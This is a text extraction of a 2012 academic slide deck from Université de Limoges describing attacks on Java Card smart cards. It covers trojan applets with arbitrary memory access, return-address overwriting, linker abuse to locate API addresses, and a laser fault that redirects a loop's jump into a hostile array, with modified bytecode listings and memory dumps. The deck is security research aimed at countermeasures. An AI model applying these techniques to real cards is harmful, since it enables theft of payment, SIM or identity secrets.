Smart Card Attacks: Enter the Matrix Tiana Razafindralambo - - PowerPoint PPT Presentation

smart card attacks enter the matrix
SMART_READER_LITE
LIVE PREVIEW

Smart Card Attacks: Enter the Matrix Tiana Razafindralambo - - PowerPoint PPT Presentation

Introduction Logical attacks Combined attacks Conclusion Smart Card Attacks: Enter the Matrix Tiana Razafindralambo Guillaume Bouffard Julien Iguchi-Cartigny Jean-Louis Lanet Smart Secure Devices (SSD) Team Xlim Labs Universit e


slide-1
SLIDE 1

Introduction Logical attacks Combined attacks Conclusion

Smart Card Attacks: Enter the Matrix

Tiana Razafindralambo Guillaume Bouffard Julien Iguchi-Cartigny Jean-Louis Lanet

Smart Secure Devices (SSD) Team – Xlim Labs – Universit´ e de Limoges aina.razafindralambo@etu.unilim.fr guillaume.bouffard@xlim.fr http://secinfo.msi.unilim.fr

GDR SoC-SiP 2012 May 30th, 2012

i nsti tut de recherche

  • T. Razafindralambo, G. Bouffard (SSD)

Smart Card Attacks: Enter the Matrix Xlim/Univ. de Limoges 1 / 37

slide-2
SLIDE 2

Introduction Logical attacks Combined attacks Conclusion

Outline

1

Introduction

2

Logical attacks

3

Combined attacks

4

Conclusion

  • T. Razafindralambo, G. Bouffard (SSD)

Smart Card Attacks: Enter the Matrix Xlim/Univ. de Limoges 2 / 37

slide-3
SLIDE 3

Introduction Logical attacks Combined attacks Conclusion

1

Introduction Smart Card Our Motivations Java Card Tools

2

Logical attacks

3

Combined attacks

4

Conclusion

  • T. Razafindralambo, G. Bouffard (SSD)

Smart Card Attacks: Enter the Matrix Xlim/Univ. de Limoges 3 / 37

slide-4
SLIDE 4

Introduction Logical attacks Combined attacks Conclusion Smart Card

Smart Card

A Smart Card is. . .

Tamper-Resistant Computer Securely store and process information very used:

(U)SIM; Credit Card; Health Insurance Card; Pay TV; etc.

It contains critical information !

  • T. Razafindralambo, G. Bouffard (SSD)

Smart Card Attacks: Enter the Matrix Xlim/Univ. de Limoges 3 / 37

slide-5
SLIDE 5

Introduction Logical attacks Combined attacks Conclusion Our Motivations

Our Motivations

Our motivations

Understand the implemented Java Card security mechanisms; Improve these implementations; Design the associated counter-measures;

  • T. Razafindralambo, G. Bouffard (SSD)

Smart Card Attacks: Enter the Matrix Xlim/Univ. de Limoges 4 / 37

slide-6
SLIDE 6

Introduction Logical attacks Combined attacks Conclusion Java Card

Java Card Architecture

Invented in 1996 by Schlumberger; Provides an open and secure platform;

Natives Layers Java Card Virtual Machine Native API Hardware: CPU + Memories + IO Framework APIs

JavaCard Applet1 JavaCard Applet2

(V)OP APIs & Applet Manager

  • T. Razafindralambo, G. Bouffard (SSD)

Smart Card Attacks: Enter the Matrix Xlim/Univ. de Limoges 5 / 37

slide-7
SLIDE 7

Introduction Logical attacks Combined attacks Conclusion Java Card

Java Card Security Model

  • ff-card Security

Java Class Files Java Card Files Byte Code Verifier (BCV) Byte Code Converter Byte Code Signer

  • n-card Security

Java Card Files BCV Linker Installed applet Firewall

  • T. Razafindralambo, G. Bouffard (SSD)

Smart Card Attacks: Enter the Matrix Xlim/Univ. de Limoges 6 / 37

slide-8
SLIDE 8

Introduction Logical attacks Combined attacks Conclusion Java Card

Converted APplet (CAP) File

  • T. Razafindralambo, G. Bouffard (SSD)

Smart Card Attacks: Enter the Matrix Xlim/Univ. de Limoges 7 / 37

slide-9
SLIDE 9

Introduction Logical attacks Combined attacks Conclusion Tools

Tools Used

CapMap

Java-framework; Provides reading and modification of CAP files; Modification of any component of a CAP file; Available with a plug-in Eclipse and standalone GUI;

OPAL

Java-(Library & GUI); Supports Global Platform 2.x Specification; Open-Source Project;

  • T. Razafindralambo, G. Bouffard (SSD)

Smart Card Attacks: Enter the Matrix Xlim/Univ. de Limoges 8 / 37

slide-10
SLIDE 10

Introduction Logical attacks Combined attacks Conclusion

1

Introduction

2

Logical attacks EMAN 1: A trojan into a smart card EMAN 2: A Ghost in the Stack When the Java Card Linker helps us! Summary

3

Combined attacks

4

Conclusion

  • T. Razafindralambo, G. Bouffard (SSD)

Smart Card Attacks: Enter the Matrix Xlim/Univ. de Limoges 9 / 37

slide-11
SLIDE 11

Introduction Logical attacks Combined attacks Conclusion EMAN 1: A trojan into a smart card

EMAN 1

Motivation

Insert a Trojan that can write and read everywhere

Hypotheses

Loading keys are known; No on-card BCV; The firewall doesn’t check the parameter of these instructions : putstatic, getstatic, invokestatic

  • T. Razafindralambo, G. Bouffard (SSD)

Smart Card Attacks: Enter the Matrix Xlim/Univ. de Limoges 9 / 37

slide-12
SLIDE 12

Introduction Logical attacks Combined attacks Conclusion EMAN 1: A trojan into a smart card

How to EMAN 1

Write a shellcode in a given array; Retrieve it; Call your shellcode;

  • T. Razafindralambo, G. Bouffard (SSD)

Smart Card Attacks: Enter the Matrix Xlim/Univ. de Limoges 10 / 37

slide-13
SLIDE 13

Introduction Logical attacks Combined attacks Conclusion EMAN 1: A trojan into a smart card

Jump jump jump...

Header

  • Sec. Context

Static Variable @Method T able Header @Class Owner Context Instance Data @m1 @m2 @m3 @m4 Header Byte Code

... invokestatic xxxx ...

Methods Table Object Class Method

  • T. Razafindralambo, G. Bouffard (SSD)

Smart Card Attacks: Enter the Matrix Xlim/Univ. de Limoges 11 / 37

slide-14
SLIDE 14

Introduction Logical attacks Combined attacks Conclusion EMAN 1: A trojan into a smart card

Java Stack

  • T. Razafindralambo, G. Bouffard (SSD)

Smart Card Attacks: Enter the Matrix Xlim/Univ. de Limoges 12 / 37

slide-15
SLIDE 15

Introduction Logical attacks Combined attacks Conclusion EMAN 1: A trojan into a smart card

Step 1 : get the array address

  • T. Razafindralambo, G. Bouffard (SSD)

Smart Card Attacks: Enter the Matrix Xlim/Univ. de Limoges 13 / 37

slide-16
SLIDE 16

Introduction Logical attacks Combined attacks Conclusion EMAN 1: A trojan into a smart card

(1) Load the address of the array (pushed on top of the stack) (2)(3) Push the value FF on the stack (4) store it into locals

  • T. Razafindralambo, G. Bouffard (SSD)

Smart Card Attacks: Enter the Matrix Xlim/Univ. de Limoges 14 / 37

slide-17
SLIDE 17

Introduction Logical attacks Combined attacks Conclusion EMAN 1: A trojan into a smart card

Gotcha !

  • T. Razafindralambo, G. Bouffard (SSD)

Smart Card Attacks: Enter the Matrix Xlim/Univ. de Limoges 15 / 37

slide-18
SLIDE 18

Introduction Logical attacks Combined attacks Conclusion EMAN 1: A trojan into a smart card

Do it again, but differently

  • T. Razafindralambo, G. Bouffard (SSD)

Smart Card Attacks: Enter the Matrix Xlim/Univ. de Limoges 16 / 37

slide-19
SLIDE 19

Introduction Logical attacks Combined attacks Conclusion EMAN 1: A trojan into a smart card

Read and write everywhere and...

p u b l i c void getMyAddress ( ) { // f l a g s : max stack : 1 // nargs : m a x l o c a l s : 7C 00 02 g e t s t a t i c b 2 78 s r e t u r n } p u b l i c void getMyAddress ( ) { // f l a g s : max stack : 1 // nargs : m a x l o c a l s : 7C 93 76 g e t s t a t i c b 93 76 78 s r e t u r n } p u b l i c byte setMyAddress ( byte v a l ) { // f l a g s : max stack : 1 // nargs : 1 m a x l o c a l s : 1D s l o a d 1 31 s s t o r e 2 7C 00 02 g e t s t a t i c b 2 78 s r e t u r n } p u b l i c byte setMyAddress ( byte v a l ) { // f l a g s : max stack : 1 // nargs : 1 m a x l o c a l s : 1D s l o a d 1 00 nop 80 93 76 p u t s t a t i c b 93 76 78 s r e t u r n }

Original Modified

  • T. Razafindralambo, G. Bouffard (SSD)

Smart Card Attacks: Enter the Matrix Xlim/Univ. de Limoges 17 / 37

slide-20
SLIDE 20

Introduction Logical attacks Combined attacks Conclusion EMAN 1: A trojan into a smart card

... troll dance

  • T. Razafindralambo, G. Bouffard (SSD)

Smart Card Attacks: Enter the Matrix Xlim/Univ. de Limoges 18 / 37

slide-21
SLIDE 21

Introduction Logical attacks Combined attacks Conclusion EMAN 2: A Ghost in the Stack

EMAN 2

Our Goal

Change the Java Card Program Counter; To redirect the Java Card Control Flow Graph;

Attack idea

Locate the return address of the current function Modify this address . . . . . . to execute our malicious byte code

  • T. Razafindralambo, G. Bouffard (SSD)

Smart Card Attacks: Enter the Matrix Xlim/Univ. de Limoges 19 / 37

slide-22
SLIDE 22

Introduction Logical attacks Combined attacks Conclusion EMAN 2: A Ghost in the Stack

Start!

Hypotheses

There is no on-card BCV The loading keys are known

Requirements list

1 Find the array address (as into EMAN 1); 2 Discover where is located the return address in the stack; 3 Change this value in the stack;

  • T. Razafindralambo, G. Bouffard (SSD)

Smart Card Attacks: Enter the Matrix Xlim/Univ. de Limoges 20 / 37

slide-23
SLIDE 23

Introduction Logical attacks Combined attacks Conclusion EMAN 2: A Ghost in the Stack

Characterize the Java Card stack

... Operand Stack Local variables

  • T. Razafindralambo, G. Bouffard (SSD)

Smart Card Attacks: Enter the Matrix Xlim/Univ. de Limoges 21 / 37

slide-24
SLIDE 24

Introduction Logical attacks Combined attacks Conclusion EMAN 2: A Ghost in the Stack

Characterize the Java Card stack

... Operand Stack Frame header Local variables

  • T. Razafindralambo, G. Bouffard (SSD)

Smart Card Attacks: Enter the Matrix Xlim/Univ. de Limoges 21 / 37

slide-25
SLIDE 25

Introduction Logical attacks Combined attacks Conclusion EMAN 2: A Ghost in the Stack

Characterize the Java Card stack

... Operand Stack Return Address Undefined use value Local variables

  • T. Razafindralambo, G. Bouffard (SSD)

Smart Card Attacks: Enter the Matrix Xlim/Univ. de Limoges 21 / 37

slide-26
SLIDE 26

Introduction Logical attacks Combined attacks Conclusion EMAN 2: A Ghost in the Stack

Characterize the Java Card stack

... Pushed values L8 Return Address L7 Undefined use value L6 6 Locals L0

p u b l i c void ModifyStack ( byte [ ] apduBuffer , APDU apdu , s h o r t a ) { s h o r t i =( s h o r t ) 0xCAFE ; s h o r t j =( s h o r t ) ( getMyAddressTabByte (MALICIOUS ARRAY) +ARRAY HEADER SIZE) ; i = j ; }

  • T. Razafindralambo, G. Bouffard (SSD)

Smart Card Attacks: Enter the Matrix Xlim/Univ. de Limoges 21 / 37

slide-27
SLIDE 27

Introduction Logical attacks Combined attacks Conclusion EMAN 2: A Ghost in the Stack

A Ghost in the Stack

p u b l i c void ModifyStack ( byte [ ] apduBuffer , APDU apdu , s h o r t a ) { s h o r t i =( s h o r t ) 0xCAFE ; s h o r t j =( s h o r t ) ( getMyAddressTabByte (MALICIOUS ARRAY) +ARRAY HEADER SIZE) ; i = j ; }

invokevirtual @ModifyStack ModifyStack Method Any unchecked byte code

  • T. Razafindralambo, G. Bouffard (SSD)

Smart Card Attacks: Enter the Matrix Xlim/Univ. de Limoges 22 / 37

slide-28
SLIDE 28

Introduction Logical attacks Combined attacks Conclusion EMAN 2: A Ghost in the Stack

A Ghost in the Stack

p u b l i c void ModifyStack ( byte [ ] apduBuffer , APDU apdu , s h o r t a ) { 02 // f l a g s : max stack : 2 42 // nargs : 4 m a x l o c a l s : 2 11 CA FE sspush 0xCAFE 29 04 s s t o r e 4 18 aloa d 0 7B 00 g e t s t a t i c a 8B 01 i n v o k e v i r t u a l 1 10 06 bspush 6 41 sadd 29 05 s s t o r e 5 16 05 sload 5 29 04 s s t o r e 4 7A r e t u r n }

invokevirtual @ModifyStack ModifyStack Method Any unchecked byte code

  • T. Razafindralambo, G. Bouffard (SSD)

Smart Card Attacks: Enter the Matrix Xlim/Univ. de Limoges 22 / 37

slide-29
SLIDE 29

Introduction Logical attacks Combined attacks Conclusion EMAN 2: A Ghost in the Stack

A Ghost in the Stack

p u b l i c void ModifyStack ( byte [ ] apduBuffer , APDU apdu , s h o r t a ) { 02 // f l a g s : max stack : 2 42 // nargs : 4 m a x l o c a l s : 2 11 CA FE sspush 0xCAFE 29 04 s s t o r e 4 18 aloa d 0 7B 00 g e t s t a t i c a 8B 01 i n v o k e v i r t u a l 1 10 06 bspush 6 41 sadd 29 05 s s t o r e 5 16 05 sload 5 29 07 s s t o r e 7 7A r e t u r n }

invokevirtual @ModifyStack ModifyStack Method Any unchecked byte code

We change the Return Address of the current function!

  • T. Razafindralambo, G. Bouffard (SSD)

Smart Card Attacks: Enter the Matrix Xlim/Univ. de Limoges 22 / 37

slide-30
SLIDE 30

Introduction Logical attacks Combined attacks Conclusion EMAN 2: A Ghost in the Stack

We’re done...

  • T. Razafindralambo, G. Bouffard (SSD)

Smart Card Attacks: Enter the Matrix Xlim/Univ. de Limoges 23 / 37

slide-31
SLIDE 31

Introduction Logical attacks Combined attacks Conclusion When the Java Card Linker helps us!

Where are the Java Card API addresses?

Java Card API

CAP files are linked in the card; Java Card API addresses are not in free-access!

Our Goal

Execute arbitrary & rich shellcodes

  • T. Razafindralambo, G. Bouffard (SSD)

Smart Card Attacks: Enter the Matrix Xlim/Univ. de Limoges 24 / 37

slide-32
SLIDE 32

Introduction Logical attacks Combined attacks Conclusion When the Java Card Linker helps us!

Off-card linking step

Constant Pool Component { [ . . . ] // S t a t i c method r e f e r e e s by the token 0006 0006 − ConstantStaticMethodRef : ExternalStaticMethoddRef : packageToken 80 classToken 10 token 6 [ . . . ] } Method Component { [ . . . ] @008a i n v o k e s t a t i c 0006 ⇐ = Token to a Constant Pool reference [ . . . ] } Reference Location Component { [ . . . ]

  • f f s e t s t o b y t e 2 i n d i c e s = {

// A l i s t

  • f 2−byte

tokens that w i l l be l i n k e d [ . . . ] @008b [ . . . ] } }

  • T. Razafindralambo, G. Bouffard (SSD)

Smart Card Attacks: Enter the Matrix Xlim/Univ. de Limoges 25 / 37

slide-33
SLIDE 33

Introduction Logical attacks Combined attacks Conclusion When the Java Card Linker helps us!

On-card linking step

Constant Pool Component { [ . . . ] // S t a t i c method r e f e r e e s by the token 0006 0006 − ConstantStaticMethodRef : ExternalStaticMethoddRef : packageToken 80 classToken 10 token 6 [ . . . ] } Method Component { [ . . . ] #8094 i n v o k e s t a t i c 6FC0 ⇐ = Linked token [ . . . ] } Reference Location Component { [ . . . ]

  • f f s e t s t o b y t e 2 i n d i c e s = {

// A l i s t

  • f 2−byte

tokens that w i l l be l i n k e d [ . . . ] @008b [ . . . ] } }

  • T. Razafindralambo, G. Bouffard (SSD)

Smart Card Attacks: Enter the Matrix Xlim/Univ. de Limoges 26 / 37

slide-34
SLIDE 34

Introduction Logical attacks Combined attacks Conclusion When the Java Card Linker helps us!

The attack I

[ . . . ] @008a i n v o k e s t a t i c 0006 // c a l l the t o k e n i z e d method 0x0006 @008d bspush 2a // push 0x2a @008f s r e t u r n // r e t u r n the l a s t pushed v a l u e [ . . . ]

@0089 reference @008a 0x002a @008f after

  • T. Razafindralambo, G. Bouffard (SSD)

Smart Card Attacks: Enter the Matrix Xlim/Univ. de Limoges 27 / 37

slide-35
SLIDE 35

Introduction Logical attacks Combined attacks Conclusion When the Java Card Linker helps us!

The attack II

[ . . . ] @008a sspush 0006 // push the token 0x0006 @008d nop // do nothing @008e nop // do nothing @008f s r e t u r n // r e t u r n the l a s t pushed v a l u e [ . . . ]

@0089 @008a 0x6FC0 @008f after

  • T. Razafindralambo, G. Bouffard (SSD)

Smart Card Attacks: Enter the Matrix Xlim/Univ. de Limoges 28 / 37

slide-36
SLIDE 36

Introduction Logical attacks Combined attacks Conclusion Summary

Logical attacks summary

Previously, in this presentation . . .

We explained how to logically modify the Java Card execution flow; We obtain the Java Card API to executed our rich shellcodes;

To be continue . . .

If the Java Card has an embedded BCV?

  • T. Razafindralambo, G. Bouffard (SSD)

Smart Card Attacks: Enter the Matrix Xlim/Univ. de Limoges 29 / 37

slide-37
SLIDE 37

Introduction Logical attacks Combined attacks Conclusion

1

Introduction

2

Logical attacks

3

Combined attacks EMAN 4: modifying the execution flow with a Laser Beam

4

Conclusion

  • T. Razafindralambo, G. Bouffard (SSD)

Smart Card Attacks: Enter the Matrix Xlim/Univ. de Limoges 30 / 37

slide-38
SLIDE 38

Introduction Logical attacks Combined attacks Conclusion EMAN 4

Once Upon a Time . . .

Our aim

The card has a BCV; So, we do a post-installed modification on an applet; To execute our shellcodes;

Modus operandi

1 The attack is based on loop for in the case where the jump is

a long one:

In Java Card, there are two instructions; goto (±127 bytes) and goto w (±32767 bytes)

2 Characterize the memory management algorithm of the

  • perating system;

3 Illuminate with a laser the code that contain the operand.

  • T. Razafindralambo, G. Bouffard (SSD)

Smart Card Attacks: Enter the Matrix Xlim/Univ. de Limoges 30 / 37

slide-39
SLIDE 39

Introduction Logical attacks Combined attacks Conclusion EMAN 4

The Loop for or how to stop the Sisyphus’ punishment?

f o r ( s h o r t i =0 ; i <n ; ++i ) { foo = ( byte ) 0xBA ; bar = foo ; foo = bar ; bar = foo ; foo = bar ; bar = foo ; foo = bar ; bar = foo ; foo = bar ; bar = foo ; foo = bar ; bar = foo ; foo = bar ; bar = foo ; foo = bar ; bar = foo ; foo = bar ; bar = foo ; foo = bar ; // Few i n s t r u c t i o n s have // been hidden f o r a // b e t t e r meaning . bar = foo ; foo = bar ; bar = foo ; foo = bar ; bar = foo ; foo = bar ; bar = foo ; foo = bar ; }

  • T. Razafindralambo, G. Bouffard (SSD)

Smart Card Attacks: Enter the Matrix Xlim/Univ. de Limoges 31 / 37

slide-40
SLIDE 40

Introduction Logical attacks Combined attacks Conclusion EMAN 4

The Loop for or how to stop the Sisyphus’ punishment?

0x00 : s c o n s t 0 0x01 : s s t o r e 1 0x02 : s l o a d 1 0x03 : s c o n s t 1 0x04 : if scmpge w 00 7C 0x07 : alo ad 0 0x08 : bspush BA 0x0A : p u t f i e l d b 0x0C : a load 0 0x0D : g e t f i e l d b t h i s 0x0F : p u t f i e l d b 1 // Few i n s t r u c t i o n s have // been hidden f o r a // b e t t e r meaning . 0xE3 : alo ad 0 0xE4 : g e t f i e l d b t h i s 1 0xE6 : p u t f i e l d b 0xE8 : s i n c 1 1 0xEB : goto w FF17

Reloop instructions

goto (±127 bytes) goto w (±32767 bytes)

  • T. Razafindralambo, G. Bouffard (SSD)

Smart Card Attacks: Enter the Matrix Xlim/Univ. de Limoges 31 / 37

slide-41
SLIDE 41

Introduction Logical attacks Combined attacks Conclusion EMAN 4

The Loop for or how to stop the Sisyphus’ punishment?

0x00 : s c o n s t 0 0x01 : s s t o r e 1 0x02 : s l o a d 1 0x03 : s c o n s t 1 0x04 : if scmpge w 00 7C 0x07 : alo ad 0 0x08 : bspush BA 0x0A : p u t f i e l d b 0x0C : a load 0 0x0D : g e t f i e l d b t h i s 0x0F : p u t f i e l d b 1 // Few i n s t r u c t i o n s have // been hidden f o r a // b e t t e r meaning . 0xE3 : alo ad 0 0xE4 : g e t f i e l d b t h i s 1 0xE6 : p u t f i e l d b 0xE8 : s i n c 1 1 0xEB : goto w FF17

Reloop instructions

goto (±127 bytes) goto w (±32767 bytes)

Correct running

233 bytes backward jump.

  • T. Razafindralambo, G. Bouffard (SSD)

Smart Card Attacks: Enter the Matrix Xlim/Univ. de Limoges 31 / 37

slide-42
SLIDE 42

Introduction Logical attacks Combined attacks Conclusion EMAN 4

The Loop for or how to stop the Sisyphus’ punishment?

0x00 : s c o n s t 0 0x01 : s s t o r e 1 0x02 : s l o a d 1 0x03 : s c o n s t 1 0x04 : if scmpge w 00 7C 0x07 : alo ad 0 0x08 : bspush BA 0x0A : p u t f i e l d b 0x0C : a load 0 0x0D : g e t f i e l d b t h i s 0x0F : p u t f i e l d b 1 // Few i n s t r u c t i o n s have // been hidden f o r a // b e t t e r meaning . 0xE3 : alo ad 0 0xE4 : g e t f i e l d b t h i s 1 0xE6 : p u t f i e l d b 0xE8 : s i n c 1 1 0xEB : goto w 0017

Reloop instructions

goto (±127 bytes) goto w (±32767 bytes)

Correct running

233 bytes backward jump.

Faulty running

23 bytes forward jump.

  • T. Razafindralambo, G. Bouffard (SSD)

Smart Card Attacks: Enter the Matrix Xlim/Univ. de Limoges 31 / 37

slide-43
SLIDE 43

Introduction Logical attacks Combined attacks Conclusion EMAN 4

Where to jump?

To a hostile array CodeDump!!! But we do not know where our array is stored

The card can be stressed by installing / deleting different applets with different sizes to deduce the allocation policy; In the tested cards, the best fit algorithm places the static array just after the methods.

  • T. Razafindralambo, G. Bouffard (SSD)

Smart Card Attacks: Enter the Matrix Xlim/Univ. de Limoges 32 / 37

slide-44
SLIDE 44

Introduction Logical attacks Combined attacks Conclusion EMAN 4

Where to jump?

r e t u r n s t a t i c s h o r t v a l u e ;

  • T. Razafindralambo, G. Bouffard (SSD)

Smart Card Attacks: Enter the Matrix Xlim/Univ. de Limoges 33 / 37

slide-45
SLIDE 45

Introduction Logical attacks Combined attacks Conclusion EMAN 4

Where to jump?

7D 8000 g e t s t a t i c s 8000 78 s r e t u r n

ARRAY HEADER

  • T. Razafindralambo, G. Bouffard (SSD)

Smart Card Attacks: Enter the Matrix Xlim/Univ. de Limoges 33 / 37

slide-46
SLIDE 46

Introduction Logical attacks Combined attacks Conclusion EMAN 4

Where to jump?

7D 8000 g e t s t a t i c s 8000 78 s r e t u r n

ARRAY HEADER 7D80 0078

  • T. Razafindralambo, G. Bouffard (SSD)

Smart Card Attacks: Enter the Matrix Xlim/Univ. de Limoges 33 / 37

slide-47
SLIDE 47

Introduction Logical attacks Combined attacks Conclusion EMAN 4

Where to jump?

7D 8000 g e t s t a t i c s 8000 78 s r e t u r n

ARRAY HEADER 0000 0000 0000 0000 0000 00 0000 0000 0000 . . . 0000 0000 00 0000 0000 0000 0000 0000 00 0000 7D80 0078

  • T. Razafindralambo, G. Bouffard (SSD)

Smart Card Attacks: Enter the Matrix Xlim/Univ. de Limoges 33 / 37

slide-48
SLIDE 48

Introduction Logical attacks Combined attacks Conclusion EMAN 4

Let’s play with the card!

0x0A7F0: 18AE01 880018 AE00 8801 18AE 0188 0018 0x0A800: AE0088 0118AE 0188 0018 AE00 8801 18AE 0x0A810: 018800 590101 A8FF 177A 008A 43C0 6C88 0x0A820: 000000 000000 0000 0000 0000 0000 0000 0x0A830: 000000 000000 0000 0000 0000 0000 0000 0x0A840: 000000 000000 0000 0000 0000 0000 0000 0x0A850: 000000 000000 0000 0000 0000 0000 0000 0x0A860: 000000 000000 0000 0000 0000 0000 0000 0x0A870: 000000 000000 0000 0000 0000 0000 0000 0x0A880: 000000 000000 0000 0000 0000 0000 0000 0x0A890: 000000 000000 0000 0000 0000 0000 0000 0x0A8A0: 7D8000 78

  • T. Razafindralambo, G. Bouffard (SSD)

Smart Card Attacks: Enter the Matrix Xlim/Univ. de Limoges 34 / 37

slide-49
SLIDE 49

Introduction Logical attacks Combined attacks Conclusion EMAN 4

Let’s play with the card!

0x0A7F0: 18AE01 880018 AE00 8801 18AE 0188 0018 0x0A800: AE0088 0118AE 0188 0018 AE00 8801 18AE 0x0A810: 018800 590101 A800 177A 008A 43C0 6C88 0x0A820: 000000 000000 0000 0000 0000 0000 0000 0x0A830: 000000 000000 0000 0000 0000 0000 0000 0x0A840: 000000 000000 0000 0000 0000 0000 0000 0x0A850: 000000 000000 0000 0000 0000 0000 0000 0x0A860: 000000 000000 0000 0000 0000 0000 0000 0x0A870: 000000 000000 0000 0000 0000 0000 0000 0x0A880: 000000 000000 0000 0000 0000 0000 0000 0x0A890: 000000 000000 0000 0000 0000 0000 0000 0x0A8A0: 7D8000 78

  • T. Razafindralambo, G. Bouffard (SSD)

Smart Card Attacks: Enter the Matrix Xlim/Univ. de Limoges 34 / 37

slide-50
SLIDE 50

Introduction Logical attacks Combined attacks Conclusion EMAN 4

About the laser beam

In the first attack

We can change the Java Card Control Flow Graph Without an embedded BCV

In the last attack

We can change the Java Card Control Flow Graph With an embedded BCV The malicious array can contain what you want!

  • T. Razafindralambo, G. Bouffard (SSD)

Smart Card Attacks: Enter the Matrix Xlim/Univ. de Limoges 35 / 37

slide-51
SLIDE 51

Introduction Logical attacks Combined attacks Conclusion

1

Introduction

2

Logical attacks

3

Combined attacks

4

Conclusion

  • T. Razafindralambo, G. Bouffard (SSD)

Smart Card Attacks: Enter the Matrix Xlim/Univ. de Limoges 36 / 37

slide-52
SLIDE 52

Introduction Logical attacks Combined attacks Conclusion

All good things come to an end

We explained few logical and combined attacks; Combined attack is our future; We also use Lasers as Jedi do;

  • T. Razafindralambo, G. Bouffard (SSD)

Smart Card Attacks: Enter the Matrix Xlim/Univ. de Limoges 36 / 37

slide-53
SLIDE 53

Introduction Logical attacks Combined attacks Conclusion

You did not see anything Thank you for your attention! Have you any questions?

aina.razafindralambo@etu.unilim.fr guillaume.bouffard@xlim.fr http://secinfo.msi.unilim.fr

  • T. Razafindralambo, G. Bouffard (SSD)

Smart Card Attacks: Enter the Matrix Xlim/Univ. de Limoges 37 / 37